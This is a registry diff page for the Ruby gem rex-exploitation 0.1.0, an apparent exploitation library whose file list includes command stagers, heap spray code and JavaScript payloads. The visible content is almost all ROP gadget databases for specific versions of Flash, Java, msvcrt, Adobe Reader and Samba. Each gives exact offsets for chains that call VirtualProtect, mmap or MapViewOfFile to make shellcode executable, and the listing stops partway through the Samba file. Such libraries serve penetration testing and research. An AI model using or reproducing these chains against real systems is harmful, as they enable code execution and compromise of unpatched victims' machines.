rex-exploitation 0.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (69) hide show
  1. checksums.yaml +7 -0
  2. checksums.yaml.gz.sig +0 -0
  3. data.tar.gz.sig +1 -0
  4. data/.gitignore +9 -0
  5. data/.rspec +2 -0
  6. data/.travis.yml +5 -0
  7. data/CODE_OF_CONDUCT.md +74 -0
  8. data/Gemfile +4 -0
  9. data/README.md +33 -0
  10. data/Rakefile +6 -0
  11. data/bin/console +14 -0
  12. data/bin/setup +8 -0
  13. data/data/exploits/cmdstager/debug_asm +91 -0
  14. data/data/exploits/cmdstager/debug_write +819 -0
  15. data/data/exploits/cmdstager/vbs_b64 +40 -0
  16. data/data/exploits/cmdstager/vbs_b64_adodb +50 -0
  17. data/data/exploits/cmdstager/vbs_b64_noquot +49 -0
  18. data/data/exploits/cmdstager/vbs_b64_sleep +41 -0
  19. data/data/js/detect/ie_addons.js +89 -0
  20. data/data/js/detect/misc_addons.js +157 -0
  21. data/data/js/detect/os.js +831 -0
  22. data/data/js/memory/explib2/lib/explib2.js +426 -0
  23. data/data/js/memory/explib2/payload/drop_exec.js +33 -0
  24. data/data/js/memory/explib2/payload/exec.js +10 -0
  25. data/data/js/memory/heap_spray.js +17 -0
  26. data/data/js/memory/heaplib2.js +192 -0
  27. data/data/js/memory/mstime_malloc.js +31 -0
  28. data/data/js/memory/property_spray.js +38 -0
  29. data/data/js/network/ajax_download.js +18 -0
  30. data/data/js/network/ajax_post.js +18 -0
  31. data/data/js/network/xhr_shim.js +15 -0
  32. data/data/js/utils/base64.js +126 -0
  33. data/data/ropdb/flash.xml +80 -0
  34. data/data/ropdb/hxds.xml +66 -0
  35. data/data/ropdb/java.xml +33 -0
  36. data/data/ropdb/msvcrt.xml +71 -0
  37. data/data/ropdb/reader.xml +132 -0
  38. data/data/ropdb/samba.xml +436 -0
  39. data/data/ropdb/stagefright.xml +225 -0
  40. data/lib/rex/exploitation.rb +7 -0
  41. data/lib/rex/exploitation/cmdstager.rb +11 -0
  42. data/lib/rex/exploitation/cmdstager/base.rb +189 -0
  43. data/lib/rex/exploitation/cmdstager/bourne.rb +118 -0
  44. data/lib/rex/exploitation/cmdstager/certutil.rb +114 -0
  45. data/lib/rex/exploitation/cmdstager/debug_asm.rb +139 -0
  46. data/lib/rex/exploitation/cmdstager/debug_write.rb +133 -0
  47. data/lib/rex/exploitation/cmdstager/echo.rb +166 -0
  48. data/lib/rex/exploitation/cmdstager/printf.rb +121 -0
  49. data/lib/rex/exploitation/cmdstager/tftp.rb +70 -0
  50. data/lib/rex/exploitation/cmdstager/vbs.rb +125 -0
  51. data/lib/rex/exploitation/egghunter.rb +423 -0
  52. data/lib/rex/exploitation/encryptjs.rb +79 -0
  53. data/lib/rex/exploitation/heaplib.js.b64 +331 -0
  54. data/lib/rex/exploitation/heaplib.rb +107 -0
  55. data/lib/rex/exploitation/js.rb +6 -0
  56. data/lib/rex/exploitation/js/detect.rb +70 -0
  57. data/lib/rex/exploitation/js/memory.rb +80 -0
  58. data/lib/rex/exploitation/js/network.rb +83 -0
  59. data/lib/rex/exploitation/js/utils.rb +32 -0
  60. data/lib/rex/exploitation/jsobfu.rb +17 -0
  61. data/lib/rex/exploitation/obfuscatejs.rb +336 -0
  62. data/lib/rex/exploitation/omelet.rb +321 -0
  63. data/lib/rex/exploitation/opcodedb.rb +819 -0
  64. data/lib/rex/exploitation/ropdb.rb +190 -0
  65. data/lib/rex/exploitation/seh.rb +93 -0
  66. data/lib/rex/exploitation/version.rb +5 -0
  67. data/rex-exploitation.gemspec +35 -0
  68. metadata +298 -0
  69. metadata.gz.sig +0 -0
data/data/ropdb/flash.xml ADDED
@@ -0,0 +1,80 @@
1
+ <?xml version="1.0" encoding="ISO-8859-1"?>
2
+ <db>
3
+ <rop>
4
+ <compatibility>
5
+ <target>11.3.300.257</target>
6
+ </compatibility>
7
+
8
+ <gadgets base="0x10000000">
9
+ <gadget offset="0x00243043">POP EAX # RETN</gadget>
10
+ <gadget offset="0x006e3384">ptr to VirtualProtect()</gadget>
11
+ <gadget offset="0x0044a4aa">MOV EAX,DWORD PTR DS:[EAX] # RETN</gadget>
12
+ <gadget offset="0x003d54df">XCHG EAX,ESI # RETN</gadget>
13
+ <gadget offset="0x005f0b25">POP EBP # RETN</gadget>
14
+ <gadget offset="0x002ed0f1">jmp esp</gadget>
15
+ <gadget offset="0x003eb988">POP EBX # RETN</gadget>
16
+ <gadget value="0x00000400">0x00000400-> ebx</gadget>
17
+ <gadget offset="0x00662e60">POP EDX # RETN</gadget>
18
+ <gadget value="0x00000040">0x00000040-> edx</gadget>
19
+ <gadget offset="0x0058289d">POP ECX # RETN</gadget>
20
+ <gadget offset="0x00955ebe">Writable location</gadget>
21
+ <gadget offset="0x00414e84">POP EDI # RETN</gadget>
22
+ <gadget offset="0x004de801">RETN (ROP NOP)</gadget>
23
+ <gadget offset="0x0024044c">POP EAX # RETN</gadget>
24
+ <gadget value="nop">nop</gadget>
25
+ <gadget offset="0x00627674">PUSHAD # RETN</gadget>
26
+ </gadgets>
27
+ </rop>
28
+
29
+ <rop>
30
+ <compatibility>
31
+ <target>11.3.300.265</target>
32
+ </compatibility>
33
+
34
+ <gadgets base="0x10000000">
35
+ <gadget offset="0x00487414">POP EAX # RETN</gadget>
36
+ <gadget offset="0x006e338c">ptr to VirtualProtect()</gadget>
37
+ <gadget offset="0x00437d39">MOV EAX,DWORD PTR DS:[EAX] # RETN</gadget>
38
+ <gadget offset="0x0008f9c6">XCHG EAX,ESI # RETN</gadget>
39
+ <gadget offset="0x000baf77">POP EBP # RETN</gadget>
40
+ <gadget offset="0x002d8d5c">jmp esp</gadget>
41
+ <gadget offset="0x00005604">POP EBX # RETN</gadget>
42
+ <gadget value="0x00000400">0x00000400-> ebx</gadget>
43
+ <gadget offset="0x0064a4d7">POP EDX # RETN</gadget>
44
+ <gadget value="0x00000040">0x00000040-> edx</gadget>
45
+ <gadget offset="0x004087db">POP ECX # RETN</gadget>
46
+ <gadget offset="0x00955197">Writable location</gadget>
47
+ <gadget offset="0x005be57f">POP EDI # RETN</gadget>
48
+ <gadget offset="0x003a0002">RETN (ROP NOP)</gadget>
49
+ <gadget offset="0x00244a82">POP EAX # RETN</gadget>
50
+ <gadget value="nop">nop</gadget>
51
+ <gadget offset="0x004cbc7f">PUSHAD # RETN</gadget>
52
+ </gadgets>
53
+ </rop>
54
+
55
+ <rop>
56
+ <compatibility>
57
+ <target>11.3.300.268</target>
58
+ </compatibility>
59
+
60
+ <gadgets base="0x10000000">
61
+ <gadget offset="0x0012429b">POP ECX # RETN</gadget>
62
+ <gadget offset="0x006e438c">ptr to VirtualProtect()</gadget>
63
+ <gadget offset="0x00481a7d">MOV EAX,DWORD PTR DS:[ECX]</gadget>
64
+ <gadget offset="0x006ae8d7">XCHG EAX,ESI # RETN</gadget>
65
+ <gadget offset="0x000a6b69">POP EBP # RETN</gadget>
66
+ <gadget offset="0x002b95bb">jmp esp</gadget>
67
+ <gadget offset="0x0027f328">POP EBX # RETN</gadget>
68
+ <gadget value="0x00000400">0x00000400-> ebx</gadget>
69
+ <gadget offset="0x00686fe5">POP EDX # RETN</gadget>
70
+ <gadget value="0x00000040">0x00000040-> edx</gadget>
71
+ <gadget offset="0x0017e345">POP ECX # RETN</gadget>
72
+ <gadget offset="0x0092027a">Writable location</gadget>
73
+ <gadget offset="0x002a394a">POP EDI # RETN</gadget>
74
+ <gadget offset="0x00593802"># RETN (ROP NOP)</gadget>
75
+ <gadget offset="0x002447d1">POP EAX # RETN</gadget>
76
+ <gadget value="nop">nop</gadget>
77
+ <gadget offset="0x0062857d">PUSHAD # RETN</gadget>
78
+ </gadgets>
79
+ </rop>
80
+ </db>
data/data/ropdb/hxds.xml ADDED
@@ -0,0 +1,66 @@
1
+ <?xml version="1.0" encoding="ISO-8859-1"?>
2
+ <db>
3
+ <rop>
4
+ <compatibility>
5
+ <target>2007</target>
6
+ </compatibility>
7
+
8
+ <gadgets base="0x51bd0000">
9
+ <gadget offset="0x000750fd">POP EAX # RETN</gadget>
10
+ <gadget offset="0x00001158">ptr to VirtualProtect()</gadget>
11
+ <gadget offset="0x0001803c">POP EBP # RETN</gadget>
12
+ <gadget offset="0x0001803c">skip 4 bytes</gadget>
13
+ <gadget offset="0x0001750f">POP EBX # RETN</gadget>
14
+ <gadget value="safe_negate_size">Safe size to NEG</gadget>
15
+ <gadget offset="0x00005737">XCHG EAX, EBX # RETN</gadget>
16
+ <gadget offset="0x0004df88">NEG EAX # RETN</gadget>
17
+ <gadget offset="0x00005737">XCHG EAX, EBX # RETN</gadget>
18
+ <gadget offset="0x0002a7d8">POP EDX # RETN</gadget>
19
+ <gadget value="ffffffc0">0x00000040</gadget>
20
+ <gadget offset="0x00038b65">XCHG EAX, EDX # RETN</gadget>
21
+ <gadget offset="0x0004df88">NEG EAX # RETN</gadget>
22
+ <gadget offset="0x00038b65">XCHG EAX, EDX # RETN</gadget>
23
+ <gadget offset="0x000406e9">POP ECX # RETN</gadget>
24
+ <gadget offset="0x0008bfae">Writable location</gadget>
25
+ <gadget offset="0x0003cc24">POP EDI # RETN</gadget>
26
+ <gadget offset="0x0004df8a">RETN (ROP NOP)</gadget>
27
+ <gadget offset="0x0002d94b">POP ESI # RETN</gadget>
28
+ <gadget offset="0x0002c840">JMP [EAX]</gadget>
29
+ <gadget offset="0x0003a4ec">PUSHAD # RETN</gadget>
30
+ <gadget offset="0x0007a9f3">ptr to 'jmp esp'</gadget>
31
+ </gadgets>
32
+ </rop>
33
+
34
+ <rop>
35
+ <compatibility>
36
+ <target>2010</target>
37
+ </compatibility>
38
+
39
+ <gadgets base="0x51bd0000">
40
+ <gadget offset="0x0003e4fa">POP EBP # RETN</gadget>
41
+ <gadget offset="0x0003e4fa">skip 4 bytes</gadget>
42
+ <gadget offset="0x0006a2b4">POP EBX # RETN</gadget>
43
+ <gadget value="safe_negate_size">Safe size to NEG</gadget>
44
+ <gadget offset="0x00069351">XCHG EAX, EBX # RETN</gadget>
45
+ <gadget offset="0x00025188">NEG EAX # POP ESI # RETN</gadget>
46
+ <gadget value="junk">JUNK</gadget>
47
+ <gadget offset="0x00069351">XCHG EAX, EBX # RETN</gadget>
48
+ <gadget offset="0x0002a429">POP EDX # RETN</gadget>
49
+ <gadget value="ffffffc0">0x00000040</gadget>
50
+ <gadget offset="0x0001a84d">XCHG EAX, EDX # RETN</gadget>
51
+ <gadget offset="0x00025188">NEG EAX # POP ESI # RETN</gadget>
52
+ <gadget value="junk">JUNK</gadget>
53
+ <gadget offset="0x0001a84d">XCHG EAX, EDX # RETN</gadget>
54
+ <gadget offset="0x0006c4b1">POP ECX # RETN</gadget>
55
+ <gadget offset="0x0008c638">Writable location</gadget>
56
+ <gadget offset="0x0000be1d">POP EDI # RETN</gadget>
57
+ <gadget offset="0x00005383">RETN (ROP NOP)</gadget>
58
+ <gadget offset="0x00073335">POP ESI # RETN</gadget>
59
+ <gadget offset="0x0002c7cb">JMP [EAX]</gadget>
60
+ <gadget offset="0x00076452">POP EAX # RETN</gadget>
61
+ <gadget offset="0x000010b8">ptr to VirtualProtect()</gadget>
62
+ <gadget offset="0x0006604e">PUSHAD # RETN</gadget>
63
+ <gadget offset="0x00014534">ptr to 'jmp esp'</gadget>
64
+ </gadgets>
65
+ </rop>
66
+ </db>
data/data/ropdb/java.xml ADDED
@@ -0,0 +1,33 @@
1
+ <?xml version="1.0" encoding="ISO-8859-1"?>
2
+ <db>
3
+ <rop>
4
+ <compatibility>
5
+ <target>*</target>
6
+ </compatibility>
7
+
8
+ <gadgets base="0x7c340000">
9
+ <gadget offset="0x00024c66">POP EBP # RETN</gadget>
10
+ <gadget offset="0x00024c66">skip 4 bytes</gadget>
11
+ <gadget offset="0x00004edc">POP EAX # RETN</gadget>
12
+ <gadget value="safe_negate_size">0x00000201</gadget>
13
+ <gadget offset="0x00011e05">NEG EAX # RETN</gadget>
14
+ <gadget offset="0x000136e3">POP EBX # RETN</gadget>
15
+ <gadget value="0xffffffff"></gadget>
16
+ <gadget offset="0x00005255">INC EBX # FPATAN # RETN</gadget>
17
+ <gadget offset="0x0001218e">ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN</gadget>
18
+ <gadget offset="0x00005937">POP EDX # RETN</gadget>
19
+ <gadget value="0xffffffc0">0x00000040</gadget>
20
+ <gadget offset="0x00011eb1">NEG EDX # RETN</gadget>
21
+ <gadget offset="0x0002c5b9">POP ECX # RETN</gadget>
22
+ <gadget offset="0x00051e67">Writable location</gadget>
23
+ <gadget offset="0x00002e58">POP EDI # RETN</gadget>
24
+ <gadget offset="0x0000d202">RETN (ROP NOP)</gadget>
25
+ <gadget offset="0x0000f8f4">POP ESI # RETN</gadget>
26
+ <gadget offset="0x000015a2">JMP [EAX]</gadget>
27
+ <gadget offset="0x00004edc">POP EAX # RETN</gadget>
28
+ <gadget offset="0x0003a151">ptr to VirtualProtect()</gadget>
29
+ <gadget offset="0x00038c81">PUSHAD # ADD AL,0EF # RETN</gadget>
30
+ <gadget offset="0x00005c30">ptr to 'push esp # ret</gadget>
31
+ </gadgets>
32
+ </rop>
33
+ </db>
data/data/ropdb/msvcrt.xml ADDED
@@ -0,0 +1,71 @@
1
+ <?xml version="1.0" encoding="ISO-8859-1"?>
2
+ <db>
3
+ <rop>
4
+ <compatibility>
5
+ <target>WINDOWS XP SP2</target>
6
+ <target>WINDOWS XP SP3</target>
7
+ </compatibility>
8
+
9
+ <gadgets base="0x77c10000">
10
+ <gadget offset="0x0002b860">POP EAX # RETN</gadget>
11
+ <gadget value="safe_negate_size">0xFFFFFBFF -> ebx</gadget>
12
+ <gadget offset="0x0000be18">NEG EAX # POP EBP # RETN</gadget>
13
+ <gadget value="junk">JUNK</gadget>
14
+ <gadget offset="0x0001362c">POP EBX # RETN</gadget>
15
+ <gadget offset="0x0004d9bb">Writable location</gadget>
16
+ <gadget offset="0x0001e071">XCHG EAX, EBX # ADD BYTE [EAX], AL # RETN</gadget>
17
+ <gadget offset="0x00040d13">POP EDX # RETN</gadget>
18
+ <gadget value="0xFFFFFFC0">0xFFFFFFC0-> edx</gadget>
19
+ <gadget offset="0x00048fbc">XCHG EAX, EDX # RETN</gadget>
20
+ <gadget offset="0x0000be18">NEG EAX # POP EBX # RETN</gadget>
21
+ <gadget value="junk">JUNK</gadget>
22
+ <gadget offset="0x00048fbc">XCHG EAX, EDX # RETN</gadget>
23
+ <gadget offset="0x0002ee15">POP EBP # RETN</gadget>
24
+ <gadget offset="0x0002ee15">skip 4 bytes</gadget>
25
+ <gadget offset="0x0002eeef">POP ECX # RETN</gadget>
26
+ <gadget offset="0x0004d9bb">Writable location</gadget>
27
+ <gadget offset="0x0001a88c">POP EDI # RETN</gadget>
28
+ <gadget offset="0x00029f92">RETN (ROP NOP)</gadget>
29
+ <gadget offset="0x0002a184">POP ESI # RETN</gadget>
30
+ <gadget offset="0x0001aacc">JMP [EAX]</gadget>
31
+ <gadget offset="0x0002b860">POP EAX # RETN</gadget>
32
+ <gadget offset="0x00001120">ptr to VirtualProtect()</gadget>
33
+ <gadget offset="0x00002df9">PUSHAD # RETN</gadget>
34
+ <gadget offset="0x00025459">ptr to 'push esp # ret</gadget>
35
+ </gadgets>
36
+ </rop>
37
+
38
+ <rop>
39
+ <compatibility>
40
+ <target>WINDOWS SERVER 2003 SP1</target>
41
+ <target>WINDOWS SERVER 2003 SP2</target>
42
+ </compatibility>
43
+
44
+ <gadgets base="0x77ba0000">
45
+ <gadget offset="0x00012563">POP EAX # RETN</gadget>
46
+ <gadget offset="0x00001114">VirtualProtect()</gadget>
47
+ <gadget offset="0x0001f244">MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN</gadget>
48
+ <gadget value="junk">JUNK</gadget>
49
+ <gadget offset="0x00010c86">XCHG EAX,ESI # RETN</gadget>
50
+ <gadget offset="0x00029801">POP EBP # RETN</gadget>
51
+ <gadget offset="0x00042265">ptr to 'push esp # ret'</gadget>
52
+ <gadget offset="0x00012563">POP EAX # RETN</gadget>
53
+ <gadget value="0x03C0990F">EAX</gadget>
54
+ <gadget offset="0x0003d441">SUB EAX, 03c0940f (dwSize, 0x500 -> ebx)</gadget>
55
+ <gadget offset="0x000148d3">POP EBX, RET</gadget>
56
+ <gadget offset="0x000521e0">.data</gadget>
57
+ <gadget offset="0x0001f102">XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN</gadget>
58
+ <gadget offset="0x0001fc02">POP ECX # RETN</gadget>
59
+ <gadget offset="0x0004f001">W pointer (lpOldProtect) (-> ecx)</gadget>
60
+ <gadget offset="0x00038c04">POP EDI # RETN</gadget>
61
+ <gadget offset="0x00038c05">ROP NOP (-> edi)</gadget>
62
+ <gadget offset="0x00012563">POP EAX # RETN</gadget>
63
+ <gadget value="0x03C0944F">EAX</gadget>
64
+ <gadget offset="0x0003d441">SUB EAX, 03c0940f</gadget>
65
+ <gadget offset="0x00018285">XCHG EAX,EDX # RETN</gadget>
66
+ <gadget offset="0x00012563">POP EAX # RETN</gadget>
67
+ <gadget value="nop">NOP</gadget>
68
+ <gadget offset="0x00046591">PUSHAD # ADD AL,0EF # RETN</gadget>
69
+ </gadgets>
70
+ </rop>
71
+ </db>
data/data/ropdb/reader.xml ADDED
@@ -0,0 +1,132 @@
1
+ <?xml version="1.0" encoding="ISO-8859-1"?>
2
+ <db>
3
+
4
+ <rop>
5
+ <compatibility>
6
+ <target>9</target>
7
+ </compatibility>
8
+
9
+ <gadgets base="0x4a800000">
10
+ <gadget offset="0x2313d">pop ecx # ret</gadget>
11
+ <gadget offset="0x2a713">push eax # pop esp # ret</gadget>
12
+ <gadget offset="0x01f90">pop eax # ret</gadget>
13
+ <gadget offset="0x49038">ptr to CreateFileMappingA()</gadget>
14
+ <gadget offset="0x07e7d">call [eax] # ret</gadget>
15
+ <gadget value="0xffffffff">HANDLE hFile</gadget>
16
+ <gadget value="0x00000000">LPSECURITY_ATTRIBUTES lpAttributes</gadget>
17
+ <gadget value="0x00000040">DWORD flProtect</gadget>
18
+ <gadget value="0x00000000">DWORD dwMaximumSizeHigh</gadget>
19
+ <gadget value="0x00001000">DWORD dwMaximumSizeHigh</gadget>
20
+ <gadget value="0x00000000">LPCTSTR lpName</gadget>
21
+ <gadget offset="0x0155a">pop edi # ret</gadget>
22
+ <gadget offset="0x43a84">pop ebp # pop ebx # pop ecx # ret</gadget>
23
+ <gadget offset="0x2d4de">pop ebx # ret</gadget>
24
+ <gadget offset="0x01f90">pop eax # ret</gadget>
25
+ <gadget offset="0x476aa">pop ecx # ret</gadget>
26
+ <gadget offset="0x49030">ptr to MapViewOfFile()</gadget>
27
+ <gadget offset="0x44122">mov edx, ecx</gadget>
28
+ <gadget offset="0x476aa">pop ecx # ret</gadget>
29
+ <gadget offset="0x07e7d">call [eax] # ret</gadget>
30
+ <gadget offset="0x13178">pushad # add al, 0 # ret</gadget>
31
+ <gadget value="0x00000026">DWORD dwDesiredAccess</gadget>
32
+ <gadget value="0x00000000">DWORD dwFileOffsetHigh</gadget>
33
+ <gadget value="0x00000000">DWORD dwFileOffsetLow</gadget>
34
+ <gadget value="0x00000000">SIZE_T dwNumberOfBytesToMap</gadget>
35
+ <gadget offset="0x43a82">pop edi # pop esi # pop ebp # pop ebx # pop ecx # ret</gadget>
36
+ <gadget offset="0x46c5e">jmp IAT msvcr80!memcpy</gadget>
37
+ <gadget offset="0x476ab">ret</gadget>
38
+ <gadget value="junk">JUNK</gadget>
39
+ <gadget value="0x00000400">memcpy length</gadget>
40
+ <gadget value="junk">JUNK</gadget>
41
+ <gadget offset="0x17984">xchg eax, ebp # ret</gadget>
42
+ <gadget offset="0x13178">pushad # add al, 0 # ret</gadget>
43
+ </gadgets>
44
+ </rop>
45
+
46
+ <rop>
47
+ <compatibility>
48
+ <target>10</target>
49
+ </compatibility>
50
+
51
+ <gadgets base="0x4a800000">
52
+ <gadget offset="0x26015">pop ecx # ret</gadget>
53
+ <gadget offset="0x2e090">push eax # pop esp # ret</gadget>
54
+ <gadget offset="0x2007d">pop eax # ret</gadget>
55
+ <gadget offset="0x50038">ptr to CreateFileMappingA()</gadget>
56
+ <gadget offset="0x246d5">call [eax] # ret</gadget>
57
+ <gadget value="0xffffffff">HANDLE hFile</gadget>
58
+ <gadget value="0x00000000">LPSECURITY_ATTRIBUTES lpAttributes</gadget>
59
+ <gadget value="0x00000040">DWORD flProtect</gadget>
60
+ <gadget value="0x00000000">DWORD dwMaximumSizeHigh</gadget>
61
+ <gadget value="0x00001000">DWORD dwMaximumSizeHigh</gadget>
62
+ <gadget value="0x00000000">LPCTSTR lpName</gadget>
63
+ <gadget offset="0x05016">pop edi # ret</gadget>
64
+ <gadget offset="0x4420c">pop ebp # pop ebx # pop ecx # ret</gadget>
65
+ <gadget offset="0x14241">pop ebx # ret</gadget>
66
+ <gadget offset="0x2007d">pop eax # ret</gadget>
67
+ <gadget offset="0x26015">pop ecx # ret</gadget>
68
+ <gadget offset="0x50030">ptr to MapViewOfFile()</gadget>
69
+ <gadget offset="0x4b49d">mov edx, ecx</gadget>
70
+ <gadget offset="0x26015">pop ecx # ret</gadget>
71
+ <gadget offset="0x246d5">call [eax] # ret</gadget>
72
+ <gadget offset="0x14197">pushad # add al, 0 # ret</gadget>
73
+ <gadget value="0x00000026">DWORD dwDesiredAccess</gadget>
74
+ <gadget value="0x00000000">DWORD dwFileOffsetHigh</gadget>
75
+ <gadget value="0x00000000">DWORD dwFileOffsetLow</gadget>
76
+ <gadget value="0x00000000">SIZE_T dwNumberOfBytesToMap</gadget>
77
+ <gadget offset="0x14013">pop edi # pop esi # pop ebp # pop ebx # pop ecx # ret</gadget>
78
+ <gadget offset="0x4e036">jmp to IAT msvcr90!memcpy</gadget>
79
+ <gadget offset="0x2a8df">ret</gadget>
80
+ <gadget value="junk">JUNK</gadget>
81
+ <gadget value="0x00000400">memcpy length</gadget>
82
+ <gadget value="junk">JUNK</gadget>
83
+ <gadget offset="0x18b31">xchg eax, ebp # ret</gadget>
84
+ <gadget offset="0x14197">pushad # add al, 0 # ret</gadget>
85
+ </gadgets>
86
+ </rop>
87
+
88
+ <rop>
89
+ <compatibility>
90
+ <target>11</target>
91
+ </compatibility>
92
+
93
+ <gadgets base="0x4a800000">
94
+ <gadget offset="0x5822c">pop ecx # ret</gadget>
95
+ <gadget offset="0x2f129">push eax # pop esp # ret</gadget>
96
+ <gadget offset="0x5597f">pop eax # ret</gadget>
97
+ <gadget offset="0x66038">ptr to CreateFileMappingA()</gadget>
98
+ <gadget offset="0x3f1d5">call [eax] # ret</gadget>
99
+ <gadget value="0xffffffff">HANDLE hFile</gadget>
100
+ <gadget value="0x00000000">LPSECURITY_ATTRIBUTES lpAttributes</gadget>
101
+ <gadget value="0x00000040">DWORD flProtect</gadget>
102
+ <gadget value="0x00000000">DWORD dwMaximumSizeHigh</gadget>
103
+ <gadget value="0x00001000">DWORD dwMaximumSizeHigh</gadget>
104
+ <gadget value="0x00000000">LPCTSTR lpName</gadget>
105
+ <gadget offset="0x55093">pop edi # ret</gadget>
106
+ <gadget value="junk">JUNK</gadget>
107
+ <gadget offset="0x50030">pop ebx # pop esi # pop ebp # ret</gadget>
108
+ <gadget offset="0x5597f">pop eax # ret</gadget>
109
+ <gadget offset="0x50031">pop esi # pop ebp # ret</gadget>
110
+ <gadget value="junk">JUNK</gadget>
111
+ <gadget offset="0x5822c">pop ecx # ret</gadget>
112
+ <gadget offset="0x3f1d5">call [eax] # ret</gadget>
113
+ <gadget offset="0x5d4f8">pop edx # ret</gadget>
114
+ <gadget offset="0x66030">ptr to MapViewOfFile()</gadget>
115
+ <gadget offset="0x14864">pushad # add al, 0 # pop ebp # ret</gadget>
116
+ <gadget value="0x00000026">DWORD dwDesiredAccess</gadget>
117
+ <gadget value="0x00000000">DWORD dwFileOffsetHigh</gadget>
118
+ <gadget value="0x00000000">DWORD dwFileOffsetLow</gadget>
119
+ <gadget value="0x00000000">SIZE_T dwNumberOfBytesToMap</gadget>
120
+ <gadget offset="0x14856">pop edi # pop esi # pop ebp # ret</gadget>
121
+ <gadget offset="0x505a0">memcpy address</gadget>
122
+ <gadget offset="0x60bc4">call eax # ret</gadget>
123
+ <gadget offset="0x505a0">memcpy address</gadget>
124
+ <gadget offset="0x1c376">xchg eax, ebp # ret</gadget>
125
+ <gadget offset="0x463d0">pop ebx # ret</gadget>
126
+ <gadget value="0x00000400">memcpy length</gadget>
127
+ <gadget offset="0x5d4f8">pop edx # ret</gadget>
128
+ <gadget offset="0x5d4f8">pop edx # ret</gadget>
129
+ <gadget offset="0x14864">pushad # add al, 0 # pop ebp # ret</gadget>
130
+ </gadgets>
131
+ </rop>
132
+ </db>
data/data/ropdb/samba.xml ADDED
@@ -0,0 +1,436 @@
1
+ <?xml version="1.0" encoding="ISO-8859-1"?>
2
+ <db>
3
+ <rop>
4
+ <compatibility>
5
+ <target>Debian Squeeze / 2:3.5.6~dfsg-3squeeze6</target>
6
+ </compatibility>
7
+
8
+ <!--
9
+ dpkg -l|grep libgcrypt
10
+ ii libgcrypt11 1.4.5-2 LGPL Crypto library - runtime library
11
+ b6977000-b69e8000 r-xp 00000000 08:01 160176 /usr/lib/libgcrypt.so.11.5.3
12
+ b69e8000-b69eb000 rw-p 00070000 08:01 160176 /usr/lib/libgcrypt.so.11.5.3
13
+ -->
14
+
15
+ <gadgets base="0">
16
+ <gadget offset="0x00004d44">pop ebx ; pop ebp ; ret</gadget>
17
+ <gadget offset="0x00071ad4">offset of .got.plt section</gadget>
18
+ <gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
19
+ <gadget offset="0x00063dbf">pop eax; ret</gadget>
20
+ <gadget offset="0x00071af4">mmap@got - 4</gadget>
21
+ <gadget offset="0x000166f7">mov eax, dword [eax+0x04] ; ret || eax = @mmap</gadget>
22
+ <gadget offset="0x00009974">jmp eax</gadget>
23
+ <gadget offset="0x00004d41">add esp, 0x14 ; pop ebx ; pop ebp ; ret || mmap ret, skip overt mmap arguments</gadget>
24
+ <gadget value ="0x00000000">mmap arg : addr</gadget>
25
+ <gadget value ="0x00001000">mmap arg : size</gadget>
26
+ <gadget value ="0x00000007">mmap arg : PROT_READ | PROT_WRITE | PROT_EXEC</gadget>
27
+ <gadget value ="0x00000022">mmap arg : MAP_PRIVATE | MAP_ANON</gadget>
28
+ <gadget value ="0xffffffff">mmap arg : filedes </gadget>
29
+ <gadget value ="0x00000000">mmap arg : off_t </gadget>
30
+ <gadget value ="0x00000000">junk to be skipped over</gadget>
31
+ <gadget offset="0x0006a761">pop edx ; inc ebx ; ret</gadget>
32
+ <gadget offset="0x00073000">edx = writable location, in GOT</gadget>
33
+ <gadget offset="0x0004159f">mov dword [edx], eax ; mov byte [edx+0x06], cl ; mov byte [edx+0x07], al ; pop ebp ; ret || save EAX (mmaped addr) in GOT</gadget>
34
+ <gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
35
+ <gadget offset="0x0005d4c3">xchg eax, edx ; ret || edx = MMAPed addr, dst in memcpy</gadget>
36
+ <gadget offset="0x00060a1a">pop esi ; ret</gadget>
37
+ <gadget offset="0x0005c01b">pop ebp ; pop ecx ; ret || ecx = esp</gadget>
38
+ <gadget offset="0x0003da28">push esp ; and al, 0x0C ; call esi</gadget>
39
+ <gadget offset="0x00063dbf">pop eax ; ret</gadget>
40
+ <gadget value ="0x0000005c">eax = value to add to esp to point to shellcode</gadget>
41
+ <gadget offset="0x000538c4">add eax, ecx ; pop edi ; pop ebp ; ret</gadget>
42
+ <gadget value ="0x00000000">edi = junk to be skipped over</gadget>
43
+ <gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
44
+ <gadget offset="0x00055743">xchg eax, ebx ; ret || ebx = esp + XX == src in memcpy</gadget>
45
+ <gadget offset="0x00063dbf">pop eax; ret</gadget>
46
+ <gadget offset="0x00071b6c">memcpy@got - 4</gadget>
47
+ <gadget offset="0x000166f7">mov eax, dword [eax+0x04] ; ret || eax = @memcpy</gadget>
48
+ <gadget offset="0x00055743">xchg eax, ebx ; ret || eax = src in memcpy , ebx = @memcpy</gadget>
49
+ <!-- set ecx to same value than edx -->
50
+ <gadget offset="0x0006e61f">xchg eax, esi ; ret || save eax</gadget>
51
+ <gadget offset="0x00063dbf">pop eax; ret</gadget>
52
+ <gadget offset="0x00072ffc">saved mmaped addr - 4</gadget>
53
+ <gadget offset="0x000166f7">mov eax, dword [eax+0x04] ; ret || eax = saved mmaped addr</gadget>
54
+ <gadget offset="0x0005c914"> xchg eax, ecx ; ret ; || edx = ecx , after memcpy, ret on edx, ie mmaped addr</gadget>
55
+ <gadget offset="0x0006e61f"> xchg eax, esi ; ret ; || restore eax</gadget>
56
+ <gadget offset="0x00060a1a">pop esi ; ret</gadget>
57
+ <gadget offset="0x00071ad4">esi = offset of .got.plt section</gadget>
58
+ <gadget offset="0x00008505">pop edi ; pop ebp **1** ; ret</gadget>
59
+ <gadget offset="0x00004d0c">(P) pop ebx ; pop esi ; pop edi ; ret || pop .got.plt in ebx (was pushed through esi with pushad)</gadget>
60
+ <gadget value ="0x00000000">junk for ebp **1** </gadget>
61
+ <gadget offset="0x0005b68a">pushad ; ret || will ret on gadget (P) which was in edi</gadget>
62
+ <gadget value ="size">payload size</gadget>
63
+ </gadgets>
64
+
65
+
66
+
67
+
68
+ </rop>
69
+ <rop>
70
+ <compatibility>
71
+ <target>Ubuntu 11.10 / 2:3.5.8~dfsg-1ubuntu2</target>
72
+ <target>Ubuntu 11.10 / 2:3.5.11~dfsg-1ubuntu2</target>
73
